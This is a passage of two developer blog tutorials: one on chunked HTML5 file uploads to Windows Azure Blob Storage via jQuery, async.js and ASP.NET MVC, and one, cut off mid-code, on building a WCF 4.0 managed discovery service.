will upload as a block into Blob Storage, and finally commit them with the index list through BlockBlobClient.PutBlockList. But since all these invokes are ajax calling, which means not synchronized call. So we need to introduce a new JavaScript library to help us coordinate the asynchronize operation, which named “async.js”. You can download this JavaScript library here, and you can find the document here. I will not explain this library too much in this post. We will put all procedures we want to execute as a function array, and pass into the proper function defined in async.js to let it help us to control the execution sequence, in series or in parallel. Hence we will define an array and put the function for chunk upload into this array. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4:  5: // start to upload each files in chunks 6: var files = $("#upload_files")[0].files; 7: for (var i = 0; i < files.length; i++) { 8: var file = files[i]; 9: var fileSize = file.size; 10: var fileName = file.name; 11: // calculate the start and end byte index for each blocks(chunks) 12: // with the index, file name and index list for future using 13: ... ... 14:  15: // define the function array and push all chunk upload operation into this array 16: blocks.forEach(function (block) { 17: putBlocks.push(function (callback) { 18: }); 19: }); 20: } 21: }); 22: }); As you can see, I used File.slice method to read each chunks based on the start and end byte index we calculated previously, and constructed a temporary HTML form with the file name, chunk index and chunk data through another new feature in HTML5 named FormData. Then post this form to the backend server through jQuery.ajax. This is the key part of our solution. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10: // calculate the start and end byte index for each blocks(chunks) 11: // with the index, file name and index list for future using 12: ... ... 13: // define the function array and push all chunk upload operation into this array 14: blocks.forEach(function (block) { 15: putBlocks.push(function (callback) { 16: // load blob based on the start and end index for each chunks 17: var blob = file.slice(block.start, block.end); 18: // put the file name, index and blob into a temporary from 19: var fd = new FormData(); 20: fd.append("name", block.name); 21: fd.append("index", block.index); 22: fd.append("file", blob); 23: // post the form to backend service (asp.net mvc controller action) 24: $.ajax({ 25: url: "/Home/UploadInFormData", 26: data: fd, 27: processData: false, 28: contentType: "multipart/form-data", 29: type: "POST", 30: success: function (result) { 31: if (!result.success) { 32: alert(result.error); 33: } 34: callback(null, block.index); 35: } 36: }); 37: }); 38: }); 39: } 40: }); Then we will invoke these functions one by one by using the async.js. And once all functions had been executed successfully I invoked another ajax call to the backend service to commit all these chunks (blocks) as the blob in Windows Azure Storage. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10: // calculate the start and end byte index for each blocks(chunks) 11: // with the index, file name and index list for future using 12: ... ... 13: // define the function array and push all chunk upload operation into this array 14: ... ... 15: // invoke the functions one by one 16: // then invoke the commit ajax call to put blocks into blob in azure storage 17: async.series(putBlocks, function (error, result) { 18: var data = { 19: name: fileName, 20: list: list 21: }; 22: $.post("/Home/Commit", data, function (result) { 23: if (!result.success) { 24: alert(result.error); 25: } 26: else { 27: alert("done!"); 28: } 29: }); 30: }); 31: } 32: }); That’s all in the client side. The outline of our logic would be - Calculate the start and end byte index for each chunks based on the block size. - Defined the functions of reading the chunk form file and upload the content to the backend service through ajax. - Execute the functions defined in previous step with “async.js”. - Commit the chunks by invoking the backend service in Windows Azure Storage finally.   Save Chunks as Blocks into Blob Storage In above we finished the client size JavaScript code. It uploaded the file in chunks to the backend service which we are going to implement in this step. We will use ASP.NET MVC as our backend service, and it will receive the chunks, upload into Windows Azure Bob Storage in blocks, then finally commit as one blob. As in the client side we uploaded chunks by invoking the ajax call to the URL "/Home/UploadInFormData", I created a new action under the Index controller and it only accepts HTTP POST request. 1: [HttpPost] 2: public JsonResult UploadInFormData() 3: { 4: var error = string.Empty; 5: try 6: { 7: } 8: catch (Exception e) 9: { 10: error = e.ToString(); 11: } 12:  13: return new JsonResult() 14: { 15: Data = new 16: { 17: success = string.IsNullOrWhiteSpace(error), 18: error = error 19: } 20: }; 21: } Then I retrieved the file name, index and the chunk content from the Request.Form object, which was passed from our client side. And then, used the Windows Azure SDK to create a blob container (in this case we will use the container named “test”.) and create a blob reference with the blob name (same as the file name). Then uploaded the chunk as a block of this blob with the index, since in Blob Storage each block must have an index (ID) associated with so that finally we can put all blocks as one blob by specifying their block ID list. 1: [HttpPost] 2: public JsonResult UploadInFormData() 3: { 4: var error = string.Empty; 5: try 6: { 7: var name = Request.Form["name"]; 8: var index = int.Parse(Request.Form["index"]); 9: var file = Request.Files[0]; 10: var id = Convert.ToBase64String(BitConverter.GetBytes(index)); 11:  12: var container = _client.GetContainerReference("test"); 13: container.CreateIfNotExists(); 14: var blob = container.GetBlockBlobReference(name); 15: blob.PutBlock(id, file.InputStream, null); 16: } 17: catch (Exception e) 18: { 19: error = e.ToString(); 20: } 21:  22: return new JsonResult() 23: { 24: Data = new 25: { 26: success = string.IsNullOrWhiteSpace(error), 27: error = error 28: } 29: }; 30: } Next, I created another action to commit the blocks into blob once all chunks had been uploaded. Similarly, I retrieved the blob name from the Request.Form. I also retrieved the chunks ID list, which is the block ID list from the Request.Form in a string format, split them as a list, then invoked the BlockBlob.PutBlockList method. After that our blob will be shown in the container and ready to be download. 1: [HttpPost] 2: public JsonResult Commit() 3: { 4: var error = string.Empty; 5: try 6: { 7: var name = Request.Form["name"]; 8: var list = Request.Form["list"]; 9: var ids = list 10: .Split(',') 11: .Where(id => !string.IsNullOrWhiteSpace(id)) 12: .Select(id => Convert.ToBase64String(BitConverter.GetBytes(int.Parse(id)))) 13: .ToArray(); 14:  15: var container = _client.GetContainerReference("test"); 16: container.CreateIfNotExists(); 17: var blob = container.GetBlockBlobReference(name); 18: blob.PutBlockList(ids); 19: } 20: catch (Exception e) 21: { 22: error = e.ToString(); 23: } 24:  25: return new JsonResult() 26: { 27: Data = new 28: { 29: success = string.IsNullOrWhiteSpace(error), 30: error = error 31: } 32: }; 33: } Now we finished all code we need. The whole process of uploading would be like this below. Below is the full client side JavaScript code. 1: <script type="text/javascript" src="~/Scripts/async.js"></script> 2: <script type="text/javascript"> 3: $(function () { 4: $("#upload_button_blob").click(function () { 5: // assert the browser support html5 6: if (window.File && window.Blob && window.FormData) { 7: alert("Your brwoser is awesome, let's rock!"); 8: } 9: else { 10: alert("Oh man plz update to a modern browser before try is cool stuff out."); 11: return; 12: } 13:  14: // start to upload each files in chunks 15: var files = $("#upload_files")[0].files; 16: for (var i = 0; i < files.length; i++) { 17: var file = files[i]; 18: var fileSize = file.size; 19: var fileName = file.name; 20:  21: // calculate the start and end byte index for each blocks(chunks) 22: // with the index, file name and index list for future using 23: var blockSizeInKB = $("#block_size").val(); 24: var blockSize = blockSizeInKB * 1024; 25: var blocks = []; 26: var offset = 0; 27: var index = 0; 28: var list = ""; 29: while (offset < fileSize) { 30: var start = offset; 31: var end = Math.min(offset + blockSize, fileSize); 32:  33: blocks.push({ 34: name: fileName, 35: index: index, 36: start: start, 37: end: end 38: }); 39: list += index + ","; 40:  41: offset = end; 42: index++; 43: } 44:  45: // define the function array and push all chunk upload operation into this array 46: var putBlocks = []; 47: blocks.forEach(function (block) { 48: putBlocks.push(function (callback) { 49: // load blob based on the start and end index for each chunks 50: var blob = file.slice(block.start, block.end); 51: // put the file name, index and blob into a temporary from 52: var fd = new FormData(); 53: fd.append("name", block.name); 54: fd.append("index", block.index); 55: fd.append("file", blob); 56: // post the form to backend service (asp.net mvc controller action) 57: $.ajax({ 58: url: "/Home/UploadInFormData", 59: data: fd, 60: processData: false, 61: contentType: "multipart/form-data", 62: type: "POST", 63: success: function (result) { 64: if (!result.success) { 65: alert(result.error); 66: } 67: callback(null, block.index); 68: } 69: }); 70: }); 71: }); 72:  73: // invoke the functions one by one 74: // then invoke the commit ajax call to put blocks into blob in azure storage 75: async.series(putBlocks, function (error, result) { 76: var data = { 77: name: fileName, 78: list: list 79: }; 80: $.post("/Home/Commit", data, function (result) { 81: if (!result.success) { 82: alert(result.error); 83: } 84: else { 85: alert("done!"); 86: } 87: }); 88: }); 89: } 90: }); 91: }); 92: </script> And below is the full ASP.NET MVC controller code. 1: public class HomeController : Controller 2: { 3: private CloudStorageAccount _account; 4: private CloudBlobClient _client; 5:  6: public HomeController() 7: : base() 8: { 9: _account = CloudStorageAccount.Parse(CloudConfigurationManager.GetSetting("DataConnectionString")); 10: _client = _account.CreateCloudBlobClient(); 11: } 12:  13: public ActionResult Index() 14: { 15: ViewBag.Message = "Modify this template to jump-start your ASP.NET MVC application."; 16:  17: return View(); 18: } 19:  20: [HttpPost] 21: public JsonResult UploadInFormData() 22: { 23: var error = string.Empty; 24: try 25: { 26: var name = Request.Form["name"]; 27: var index = int.Parse(Request.Form["index"]); 28: var file = Request.Files[0]; 29: var id = Convert.ToBase64String(BitConverter.GetBytes(index)); 30:  31: var container = _client.GetContainerReference("test"); 32: container.CreateIfNotExists(); 33: var blob = container.GetBlockBlobReference(name); 34: blob.PutBlock(id, file.InputStream, null); 35: } 36: catch (Exception e) 37: { 38: error = e.ToString(); 39: } 40:  41: return new JsonResult() 42: { 43: Data = new 44: { 45: success = string.IsNullOrWhiteSpace(error), 46: error = error 47: } 48: }; 49: } 50:  51: [HttpPost] 52: public JsonResult Commit() 53: { 54: var error = string.Empty; 55: try 56: { 57: var name = Request.Form["name"]; 58: var list = Request.Form["list"]; 59: var ids = list 60: .Split(',') 61: .Where(id => !string.IsNullOrWhiteSpace(id)) 62: .Select(id => Convert.ToBase64String(BitConverter.GetBytes(int.Parse(id)))) 63: .ToArray(); 64:  65: var container = _client.GetContainerReference("test"); 66: container.CreateIfNotExists(); 67: var blob = container.GetBlockBlobReference(name); 68: blob.PutBlockList(ids); 69: } 70: catch (Exception e) 71: { 72: error = e.ToString(); 73: } 74:  75: return new JsonResult() 76: { 77: Data = new 78: { 79: success = string.IsNullOrWhiteSpace(error), 80: error = error 81: } 82: }; 83: } 84: } And if we selected a file from the browser we will see our application will upload chunks in the size we specified to the server through ajax call in background, and then commit all chunks in one blob. Then we can find the blob in our Windows Azure Blob Storage.   Optimized by Parallel Upload In previous example we just uploaded our file in chunks. This solved the problem that ASP.NET MVC request content size limitation as well as the Windows Azure load balancer timeout. But it might introduce the performance problem since we uploaded chunks in sequence. In order to improve the upload performance we could modify our client side code a bit to make the upload operation invoked in parallel. The good news is that, “async.js” library provides the parallel execution function. If you remembered the code we invoke the service to upload chunks, it utilized “async.series” which means all functions will be executed in sequence. Now we will change this code to “async.parallel”. This will invoke all functions in parallel. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10: // calculate the start and end byte index for each blocks(chunks) 11: // with the index, file name and index list for future using 12: ... ... 13: // define the function array and push all chunk upload operation into this array 14: ... ... 15: // invoke the functions one by one 16: // then invoke the commit ajax call to put blocks into blob in azure storage 17: async.parallel(putBlocks, function (error, result) { 18: var data = { 19: name: fileName, 20: list: list 21: }; 22: $.post("/Home/Commit", data, function (result) { 23: if (!result.success) { 24: alert(result.error); 25: } 26: else { 27: alert("done!"); 28: } 29: }); 30: }); 31: } 32: }); In this way all chunks will be uploaded to the server side at the same time to maximize the bandwidth usage. This should work if the file was not very large and the chunk size was not very small. But for large file this might introduce another problem that too many ajax calls are sent to the server at the same time. So the best solution should be, upload the chunks in parallel with maximum concurrency limitation. The code below specified the concurrency limitation to 4, which means at the most only 4 ajax calls could be invoked at the same time. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10: // calculate the start and end byte index for each blocks(chunks) 11: // with the index, file name and index list for future using 12: ... ... 13: // define the function array and push all chunk upload operation into this array 14: ... ... 15: // invoke the functions one by one 16: // then invoke the commit ajax call to put blocks into blob in azure storage 17: async.parallelLimit(putBlocks, 4, function (error, result) { 18: var data = { 19: name: fileName, 20: list: list 21: }; 22: $.post("/Home/Commit", data, function (result) { 23: if (!result.success) { 24: alert(result.error); 25: } 26: else { 27: alert("done!"); 28: } 29: }); 30: }); 31: } 32: });   Summary In this post we discussed how to upload files in chunks to the backend service and then upload them into Windows Azure Blob Storage in blocks. We focused on the frontend side and leverage three new feature introduced in HTML 5 which are - File.slice: Read part of the file by specifying the start and end byte index. - Blob: File-like interface which contains the part of the file content. - FormData: Temporary form element that we can pass the chunk alone with some metadata to the backend service. Then we discussed the performance consideration of chunk uploading. Sequence upload cannot provide maximized upload speed, but the unlimited parallel upload might crash the browser and server if too many chunks. So we finally came up with the solution to upload chunks in parallel with the concurrency limitation. We also demonstrated how to utilize “async.js” JavaScript library to help us control the asynchronize call and the parallel limitation.   Regarding the chunk size and the parallel limitation value there is no “best” value. You need to test vary composition and find out the best one for your particular scenario. It depends on the local bandwidth, client machine cores and the server side (Windows Azure Cloud Service Virtual Machine) cores, memory and bandwidth. Below is one of my performance test result. The client machine was Windows 8 IE 10 with 4 cores. I was using Microsoft Cooperation Network. The web site was hosted on Windows Azure China North data center (in Beijing) with one small web role (1.7GB 1 core CPU, 1.75GB memory with 100Mbps bandwidth). The test cases were - Chunk size: 512KB, 1MB, 2MB, 4MB. - Upload Mode: Sequence, parallel (unlimited), parallel with limit (4 threads, 8 threads). - Chunk Format: base64 string, binaries. - Target file: 100MB. - Each case was tested 3 times. Below is the test result chart. Some thoughts, but not guidance or best practice: - Parallel gets better performance than series. - No significant performance improvement between parallel 4 threads and 8 threads. - Transform with binaries provides better performance than base64. - In all cases, chunk size in 1MB - 2MB gets better performance.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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  • Service Discovery in WCF 4.0 &ndash; Part 1

    - by Shaun
    When designing a service oriented architecture (SOA) system, there will be a lot of services with many service contracts, endpoints and behaviors. Besides the client calling the service, in a large distributed system a service may invoke other services. In this case, one service might need to know the endpoints it invokes. This might not be a problem in a small system. But when you have more than 10 services this might be a problem. For example in my current product, there are around 10 services, such as the user authentication service, UI integration service, location service, license service, device monitor service, event monitor service, schedule job service, accounting service, player management service, etc..   Benefit of Discovery Service Since almost all my services need to invoke at least one other service. This would be a difficult task to make sure all services endpoints are configured correctly in every service. And furthermore, it would be a nightmare when a service changed its endpoint at runtime. Hence, we need a discovery service to remove the dependency (configuration dependency). A discovery service plays as a service dictionary which stores the relationship between the contracts and the endpoints for every service. By using the discovery service, when service X wants to invoke service Y, it just need to ask the discovery service where is service Y, then the discovery service will return all proper endpoints of service Y, then service X can use the endpoint to send the request to service Y. And when some services changed their endpoint address, all need to do is to update its records in the discovery service then all others will know its new endpoint. In WCF 4.0 Discovery it supports both managed proxy discovery mode and ad-hoc discovery mode. In ad-hoc mode there is no standalone discovery service. When a client wanted to invoke a service, it will broadcast an message (normally in UDP protocol) to the entire network with the service match criteria. All services which enabled the discovery behavior will receive this message and only those matched services will send their endpoint back to the client. The managed proxy discovery service works as I described above. In this post I will only cover the managed proxy mode, where there’s a discovery service. For more information about the ad-hoc mode please refer to the MSDN.   Service Announcement and Probe The main functionality of discovery service should be return the proper endpoint addresses back to the service who is looking for. In most cases the consume service (as a client) will send the contract which it wanted to request to the discovery service. And then the discovery service will find the endpoint and respond. Sometimes the contract and endpoint are not enough. It also contains versioning, extensions attributes. This post I will only cover the case includes contract and endpoint. When a client (or sometimes a service who need to invoke another service) need to connect to a target service, it will firstly request the discovery service through the “Probe” method with the criteria. Basically the criteria contains the contract type name of the target service. Then the discovery service will search its endpoint repository by the criteria. The repository might be a database, a distributed cache or a flat XML file. If it matches, the discovery service will grab the endpoint information (it’s called discovery endpoint metadata in WCF) and send back. And this is called “Probe”. Finally the client received the discovery endpoint metadata and will use the endpoint to connect to the target service. Besides the probe, discovery service should take the responsible to know there is a new service available when it goes online, as well as stopped when it goes offline. This feature is named “Announcement”. When a service started and stopped, it will announce to the discovery service. So the basic functionality of a discovery service should includes: 1, An endpoint which receive the service online message, and add the service endpoint information in the discovery repository. 2, An endpoint which receive the service offline message, and remove the service endpoint information from the discovery repository. 3, An endpoint which receive the client probe message, and return the matches service endpoints, and return the discovery endpoint metadata. WCF 4.0 discovery service just covers all these features in it's infrastructure classes.   Discovery Service in WCF 4.0 WCF 4.0 introduced a new assembly named System.ServiceModel.Discovery which has all necessary classes and interfaces to build a WS-Discovery compliant discovery service. It supports ad-hoc and managed proxy modes. For the case mentioned in this post, what we need to build is a standalone discovery service, which is the managed proxy discovery service mode. To build a managed discovery service in WCF 4.0 just create a new class inherits from the abstract class System.ServiceModel.Discovery.DiscoveryProxy. This class implemented and abstracted the procedures of service announcement and probe. And it exposes 8 abstract methods where we can implement our own endpoint register, unregister and find logic. These 8 methods are asynchronized, which means all invokes to the discovery service are asynchronously, for better service capability and performance. 1, OnBeginOnlineAnnouncement, OnEndOnlineAnnouncement: Invoked when a service sent the online announcement message. We need to add the endpoint information to the repository in this method. 2, OnBeginOfflineAnnouncement, OnEndOfflineAnnouncement: Invoked when a service sent the offline announcement message. We need to remove the endpoint information from the repository in this method. 3, OnBeginFind, OnEndFind: Invoked when a client sent the probe message that want to find the service endpoint information. We need to look for the proper endpoints by matching the client’s criteria through the repository in this method. 4, OnBeginResolve, OnEndResolve: Invoked then a client sent the resolve message. Different from the find method, when using resolve method the discovery service will return the exactly one service endpoint metadata to the client. In our example we will NOT implement this method.   Let’s create our own discovery service, inherit the base System.ServiceModel.Discovery.DiscoveryProxy. We also need to specify the service behavior in this class. Since the build-in discovery service host class only support the singleton mode, we must set its instance context mode to single. 1: using System; 2: using System.Collections.Generic; 3: using System.Linq; 4: using System.Text; 5: using System.ServiceModel.Discovery; 6: using System.ServiceModel; 7:  8: namespace Phare.Service 9: { 10: [ServiceBehavior(InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple)] 11: public class ManagedProxyDiscoveryService : DiscoveryProxy 12: { 13: protected override IAsyncResult OnBeginFind(FindRequestContext findRequestContext, AsyncCallback callback, object state) 14: { 15: throw new NotImplementedException(); 16: } 17:  18: protected override IAsyncResult OnBeginOfflineAnnouncement(DiscoveryMessageSequence messageSequence, EndpointDiscoveryMetadata endpointDiscoveryMetadata, AsyncCallback callback, object state) 19: { 20: throw new NotImplementedException(); 21: } 22:  23: protected override IAsyncResult OnBeginOnlineAnnouncement(DiscoveryMessageSequence messageSequence, EndpointDiscoveryMetadata endpointDiscoveryMetadata, AsyncCallback callback, object state) 24: { 25: throw new NotImplementedException(); 26: } 27:  28: protected override IAsyncResult OnBeginResolve(ResolveCriteria resolveCriteria, AsyncCallback callback, object state) 29: { 30: throw new NotImplementedException(); 31: } 32:  33: protected override void OnEndFind(IAsyncResult result) 34: { 35: throw new NotImplementedException(); 36: } 37:  38: protected override void OnEndOfflineAnnouncement(IAsyncResult result) 39: { 40: throw new NotImplementedException(); 41: } 42:  43: protected override void OnEndOnlineAnnouncement(IAsyncResult result) 44: { 45: throw new NotImplementedException(); 46: } 47:  48: protected override EndpointDiscoveryMetadata OnEndResolve(IAsyncResult result) 49: { 50: throw new NotImplementedException(); 51: } 52: } 53: } Then let’s implement the online, offline and find methods one by one. WCF discovery service gives us full flexibility to implement the endpoint add, remove and find logic. For the demo purpose we will use an internal dictionary to store the services’ endpoint metadata. In the next post we will see how to serialize and store these information in database. Define a concurrent dictionary inside the service class since our it will be used in the multiple threads scenario. 1: [ServiceBehavior(InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple)] 2: public class ManagedProxyDiscoveryService : DiscoveryProxy 3: { 4: private ConcurrentDictionary<EndpointAddress, EndpointDiscoveryMetadata> _services; 5:  6: public ManagedProxyDiscoveryService() 7: { 8: _services = new ConcurrentDictionary<EndpointAddress, EndpointDiscoveryMetadata>(); 9: } 10: } Then we can simply implement the logic of service online and offline. 1: protected override IAsyncResult OnBeginOnlineAnnouncement(DiscoveryMessageSequence messageSequence, EndpointDiscoveryMetadata endpointDiscoveryMetadata, AsyncCallback callback, object state) 2: { 3: _services.AddOrUpdate(endpointDiscoveryMetadata.Address, endpointDiscoveryMetadata, (key, value) => endpointDiscoveryMetadata); 4: return new OnOnlineAnnouncementAsyncResult(callback, state); 5: } 6:  7: protected override void OnEndOnlineAnnouncement(IAsyncResult result) 8: { 9: OnOnlineAnnouncementAsyncResult.End(result); 10: } 11:  12: protected override IAsyncResult OnBeginOfflineAnnouncement(DiscoveryMessageSequence messageSequence, EndpointDiscoveryMetadata endpointDiscoveryMetadata, AsyncCallback callback, object state) 13: { 14: EndpointDiscoveryMetadata endpoint = null; 15: _services.TryRemove(endpointDiscoveryMetadata.Address, out endpoint); 16: return new OnOfflineAnnouncementAsyncResult(callback, state); 17: } 18:  19: protected override void OnEndOfflineAnnouncement(IAsyncResult result) 20: { 21: OnOfflineAnnouncementAsyncResult.End(result); 22: } Regards the find method, the parameter FindRequestContext.Criteria has a method named IsMatch, which can be use for us to evaluate which service metadata is satisfied with the criteria. So the implementation of find method would be like this. 1: protected override IAsyncResult OnBeginFind(FindRequestContext findRequestContext, AsyncCallback callback, object state) 2: { 3: _services.Where(s => findRequestContext.Criteria.IsMatch(s.Value)) 4: .Select(s => s.Value) 5: .All(meta => 6: { 7: findRequestContext.AddMatchingEndpoint(meta); 8: return true; 9: }); 10: return new OnFindAsyncResult(callback, state); 11: } 12:  13: protected override void OnEndFind(IAsyncResult result) 14: { 15: OnFindAsyncResult.End(result); 16: } As you can see, we checked all endpoints metadata in repository by invoking the IsMatch method. Then add all proper endpoints metadata into the parameter. Finally since all these methods are asynchronized we need some AsyncResult classes as well. Below are the base class and the inherited classes used in previous methods. 1: using System; 2: using System.Collections.Generic; 3: using System.Linq; 4: using System.Text; 5: using System.Threading; 6:  7: namespace Phare.Service 8: { 9: abstract internal class AsyncResult : IAsyncResult 10: { 11: AsyncCallback callback; 12: bool completedSynchronously; 13: bool endCalled; 14: Exception exception; 15: bool isCompleted; 16: ManualResetEvent manualResetEvent; 17: object state; 18: object thisLock; 19:  20: protected AsyncResult(AsyncCallback callback, object state) 21: { 22: this.callback = callback; 23: this.state = state; 24: this.thisLock = new object(); 25: } 26:  27: public object AsyncState 28: { 29: get 30: { 31: return state; 32: } 33: } 34:  35: public WaitHandle AsyncWaitHandle 36: { 37: get 38: { 39: if (manualResetEvent != null) 40: { 41: return manualResetEvent; 42: } 43: lock (ThisLock) 44: { 45: if (manualResetEvent == null) 46: { 47: manualResetEvent = new ManualResetEvent(isCompleted); 48: } 49: } 50: return manualResetEvent; 51: } 52: } 53:  54: public bool CompletedSynchronously 55: { 56: get 57: { 58: return completedSynchronously; 59: } 60: } 61:  62: public bool IsCompleted 63: { 64: get 65: { 66: return isCompleted; 67: } 68: } 69:  70: object ThisLock 71: { 72: get 73: { 74: return this.thisLock; 75: } 76: } 77:  78: protected static TAsyncResult End<TAsyncResult>(IAsyncResult result) 79: where TAsyncResult : AsyncResult 80: { 81: if (result == null) 82: { 83: throw new ArgumentNullException("result"); 84: } 85:  86: TAsyncResult asyncResult = result as TAsyncResult; 87:  88: if (asyncResult == null) 89: { 90: throw new ArgumentException("Invalid async result.", "result"); 91: } 92:  93: if (asyncResult.endCalled) 94: { 95: throw new InvalidOperationException("Async object already ended."); 96: } 97:  98: asyncResult.endCalled = true; 99:  100: if (!asyncResult.isCompleted) 101: { 102: asyncResult.AsyncWaitHandle.WaitOne(); 103: } 104:  105: if (asyncResult.manualResetEvent != null) 106: { 107: asyncResult.manualResetEvent.Close(); 108: } 109:  110: if (asyncResult.exception != null) 111: { 112: throw asyncResult.exception; 113: } 114:  115: return asyncResult; 116: } 117:  118: protected void Complete(bool completedSynchronously) 119: { 120: if (isCompleted) 121: { 122: throw new InvalidOperationException("This async result is already completed."); 123: } 124:  125: this.completedSynchronously = completedSynchronously; 126:  127: if (completedSynchronously) 128: { 129: this.isCompleted = true; 130: } 131: else 132: { 133: lock (ThisLock) 134: { 135: this.isCompleted = true; 136: if (this.manualResetEvent != null) 137: { 138: this.manualResetEvent.Set(); 139: } 140: } 141: } 142:  143: if (callback != null) 144: { 145: callback(this); 146: } 147: } 148:  149: protected void Complete(bool completedSynchronously, Exception exception) 150: { 151: this.exception = exception; 152: Complete(completedSynchronously); 153: } 154: } 155: } 1: using System; 2: using System.Collections.Generic; 3: using System.Linq; 4: using System.Text; 5: using System.ServiceModel.Discovery; 6: using Phare.Service; 7:  8: namespace Phare.Service 9: { 10: internal sealed class OnOnlineAnnouncementAsyncResult : AsyncResult 11: { 12: public OnOnlineAnnouncementAsyncResult(AsyncCallback callback, object state) 13: : base(callback, state) 14: { 15: this.Complete(true); 16: } 17:  18: public static void End(IAsyncResult result) 19: { 20: AsyncResult.End<OnOnlineAnnouncementAsyncResult>(result); 21: } 22:  23: } 24:  25: sealed class OnOfflineAnnouncementAsyncResult : AsyncResult 26: { 27: public OnOfflineAnnouncementAsyncResult(AsyncCallback callback, object state) 28: : base(callback, state) 29: { 30: this.Complete(true); 31: } 32:  33: public static void End(IAsyncResult result) 34: { 35: AsyncResult.End<OnOfflineAnnouncementAsyncResult>(result); 36: } 37: } 38:  39: sealed class OnFindAsyncResult : AsyncResult 40: { 41: public OnFindAsyncResult(AsyncCallback callback, object state) 42: : base(callback, state) 43: { 44: this.Complete(true); 45: } 46:  47: public static void End(IAsyncResult result) 48: { 49: AsyncResult.End<OnFindAsyncResult>(result); 50: } 51: } 52:  53: sealed class OnResolveAsyncResult : AsyncResult 54: { 55: EndpointDiscoveryMetadata matchingEndpoint; 56:  57: public OnResolveAsyncResult(EndpointDiscoveryMetadata matchingEndpoint, AsyncCallback callback, object state) 58: : base(callback, state) 59: { 60: this.matchingEndpoint = matchingEndpoint; 61: this.Complete(true); 62: } 63:  64: public static EndpointDiscoveryMetadata End(IAsyncResult result) 65: { 66: OnResolveAsyncResult thisPtr = AsyncResult.End<OnResolveAsyncResult>(result); 67: return thisPtr.matchingEndpoint; 68: } 69: } 70: } Now we have finished the discovery service. The next step is to host it. The discovery service is a standard WCF service. So we can use ServiceHost on a console application, windows service, or in IIS as usual. The following code is how to host the discovery service we had just created in a console application. 1: static void Main(string[] args) 2: { 3: using (var host = new ServiceHost(new ManagedProxyDiscoveryService())) 4: { 5: host.Opened += (sender, e) => 6: { 7: host.Description.Endpoints.All((ep) => 8: { 9: Console.WriteLine(ep.ListenUri); 10: return true; 11: }); 12: }; 13:  14: try 15: { 16: // retrieve the announcement, probe endpoint and binding from configuration 17: var announcementEndpointAddress = new EndpointAddress(ConfigurationManager.AppSettings["announcementEndpointAddress"]); 18: var probeEndpointAddress = new EndpointAddress(ConfigurationManager.AppSettings["probeEndpointAddress"]); 19: var binding = Activator.CreateInstance(Type.GetType(ConfigurationManager.AppSettings["bindingType"], true, true)) as Binding; 20: var announcementEndpoint = new AnnouncementEndpoint(binding, announcementEndpointAddress); 21: var probeEndpoint = new DiscoveryEndpoint(binding, probeEndpointAddress); 22: probeEndpoint.IsSystemEndpoint = false; 23: // append the service endpoint for announcement and probe 24: host.AddServiceEndpoint(announcementEndpoint); 25: host.AddServiceEndpoint(probeEndpoint); 26:  27: host.Open(); 28:  29: Console.WriteLine("Press any key to exit."); 30: Console.ReadKey(); 31: } 32: catch (Exception ex) 33: { 34: Console.WriteLine(ex.ToString()); 35: } 36: } 37:  38: Console.WriteLine("Done."); 39: Console.ReadKey(); 40: } What we need to notice is that, the discovery service needs two endpoints for announcement and probe. In this example I just retrieve them from the configuration file. I also specified the binding of these two endpoints in configuration file as well. 1: <?xml version="1.0"?> 2: <configuration> 3: <startup> 4: <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/> 5: </startup> 6: <appSettings> 7: <add key="announcementEndpointAddress" value="net.tcp://localhost:10010/announcement"/> 8: <add key="probeEndpointAddress" value="net.tcp://localhost:10011/probe"/> 9: <add key="bindingType" value="System.ServiceModel.NetTcpBinding, System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> 10: </appSettings> 11: </configuration> And this is the console screen when I ran my discovery service. As you can see there are two endpoints listening for announcement message and probe message.   Discoverable Service and Client Next, let’s create a WCF service that is discoverable, which means it can be found by the discovery service. To do so, we need to let the service send the online announcement message to the discovery service, as well as offline message before it shutdown. Just create a simple service which can make the incoming string to upper. The service contract and implementation would be like this. 1: [ServiceContract] 2: public interface IStringService 3: { 4: [OperationContract] 5: string ToUpper(string content); 6: } 1: public class StringService : IStringService 2: { 3: public string ToUpper(string content) 4: { 5: return content.ToUpper(); 6: } 7: } Then host this service in the console application. In order to make the discovery service easy to be tested the service address will be changed each time it’s started. 1: static void Main(string[] args) 2: { 3: var baseAddress = new Uri(string.Format("net.tcp://localhost:11001/stringservice/{0}/", Guid.NewGuid().ToString())); 4:  5: using (var host = new ServiceHost(typeof(StringService), baseAddress)) 6: { 7: host.Opened += (sender, e) => 8: { 9: Console.WriteLine("Service opened at {0}", host.Description.Endpoints.First().ListenUri); 10: }; 11:  12: host.AddServiceEndpoint(typeof(IStringService), new NetTcpBinding(), string.Empty); 13:  14: host.Open(); 15:  16: Console.WriteLine("Press any key to exit."); 17: Console.ReadKey(); 18: } 19: } Currently this service is NOT discoverable. We need to add a special service behavior so that it could send the online and offline message to the discovery service announcement endpoint when the host is opened and closed. WCF 4.0 introduced a service behavior named ServiceDiscoveryBehavior. When we specified the announcement endpoint address and appended it to the service behaviors this service will be discoverable. 1: var announcementAddress = new EndpointAddress(ConfigurationManager.AppSettings["announcementEndpointAddress"]); 2: var announcementBinding = 